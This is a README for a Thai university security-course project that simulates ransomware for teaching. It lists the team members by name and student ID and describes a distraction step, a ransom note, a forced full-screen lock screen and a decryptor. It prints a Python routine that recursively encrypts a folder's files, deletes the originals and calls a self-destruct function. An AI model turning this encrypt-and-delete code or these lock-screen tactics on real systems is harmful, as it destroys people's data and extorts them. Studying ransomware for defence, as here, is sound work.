RANSOMWARE SIMULATION (EDUCATIONAL)

SC362006 INFORMATION AND COMMUNICATION TECHNOLOGY SECURITY

อาจารย์ประจำวิชา: ศ.ดร.จักรชัย โสอินทร์
อ.ชาติชาย ปุณริบุรณ์

หลักการและเหตุผล

ปัจจุบันภัยคุกคามทางไซเบอร์ โดยเฉพาะ Ransomware มีแนวโน้มเพิ่มสูงขึ้นและส่งผลกระทบต่อข้อมูลและระบบของผู้ใช้งานอย่างรุนแรง ผู้ใช้งานจำนวนมากยังขาดความเข้าใจเกี่ยวกับหลักการทำงานและผลกระทบของการโจมตีดังกล่าว โครงงานนี้จัดทำขึ้นเพื่อ จำลองการทำงานของ Ransomware ในสภาพแวดล้อมที่ปลอดภัยเพื่อการศึกษา โดยมุ่งเน้นการศึกษากระบวนการเข้ารหัสไฟล์ เพื่อสร้างความเข้าใจและตระหนักถึงความสำคัญของการป้องกันภัยคุกคามทางไซเบอร์ ทั้งนี้โครงงานไม่ได้มีเจตนาในการนำไปใช้ในทางที่ผิดหรือก่อให้เกิดความเสียหายต่อระบบจริง

วัตถุประสงค์

- เพื่อพัฒนาระบบตรวจจับพฤติกรรมผิดปกติที่อาจบ่งชี้ถึงการโจมตีแบบ Ransomware
- เพื่อแสดงผลการตรวจจับและแจ้งเตือนความเสี่ยงของการโจมตีในรูปแบบที่เข้าใจง่าย
- เพื่อสร้างความตระหนักรู้เกี่ยวกับผลกระทบและแนวทางการป้องกันการโจมตีแบบ Ransomware
- เพื่อศึกษา การทำงานการโจมตีแบบ ransomware(ล็อคจอเรียกค่าไถ่)และวิธีการรับมือ?

สมาชิก

633021103-2 นายศุภกร กงชา
673380240-4 นายรัฐภูมินท์ เที่ยงกระโทก
673380250-1 นายสุริยะ ชาวบุรี
673380501-2 นายปวริศ คลองสนั่น
673380238-1 นายยศกร สุนทรพันธุ์
673380209-8 นายจิรวัฒน์ อาจหาญยิ่ง
673380243-8 นายวินทกร การนิตย

ขอบเขต

- เขียนด้วยภาษา Python
- ล็อกไฟล์ในโฟลเดอร์เป้าหมายและ sub folder เท่านั้น
- เข้ารหัสไฟล์ด้วย cryptography.fernet
- สามารถถอดรหัสไฟล์ด้วยคีย์ในผ่านเครื่องได้

ระบบทำอะไรบ้าง

- Dashboard (GUI Main) ใช้ควบคุมการเริ่ม/หยุดการจำลอง แสดงสถานะการทำงานผ่าน Console และเลือกโฟลเดอร์เป้าหมายในการทดสอบ
- Attack Simulation โปรแกรมจะเปิดรูปจำนวนมากเพื่อเบี่ยงเบนความสนใจ จากนั้นเข้ารหัสหรือเปลี่ยนชื่อไฟล์และสร้างไฟล์ READ_ME.txt เพื่อแจ้งการเรียกค่าไถ่
- Lock Screen แสดงหน้าจอสีแดงแบบเต็มจอทับทุกหน้าต่าง พร้อมบังคับให้อยู่บนสุด และมีปุ่มโต้ตอบ เช่น “I HAVE PAID”
- Decryption Tool โปรแกรมแยกสำหรับปลดล็อกไฟล์ โดยต้องใส่รหัสให้ถูกต้องจึงจะกู้คืนไฟล์ในโฟลเดอร์ให้กลับมาใช้งานได้อีกครั้ง 🔓

ตัวอย่างงานข้อเรา

```python
def lock():
    if not os.path.exists(KEY_DESTINATION):
        os.makedirs(KEY_DESTINATION)

    key = Fernet.generate_key()
    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
    with open(os.path.join(KEY_DESTINATION, f"log_{timestamp}.txt"), "wb") as f:
        f.write(key)

    fernet = Fernet(key)

    # os.walk goes into every subfolder automatically
    for root, dirs, files in os.walk(PRIVATE_FOLDER):
        for filename in files:
            path = os.path.join(root, filename)

            # Skip files that are already encrypted or the script itself
            if filename.endswith(".dat") or "Update_Helper" in filename:
                continue

            with open(path, "rb") as f:
                data = f.read()

            with open(path + ".dat", "wb") as f:
                f.write(fernet.encrypt(data))

            os.remove(path)

    self_destruct()

if __name__ == "__main__":
    lock()
```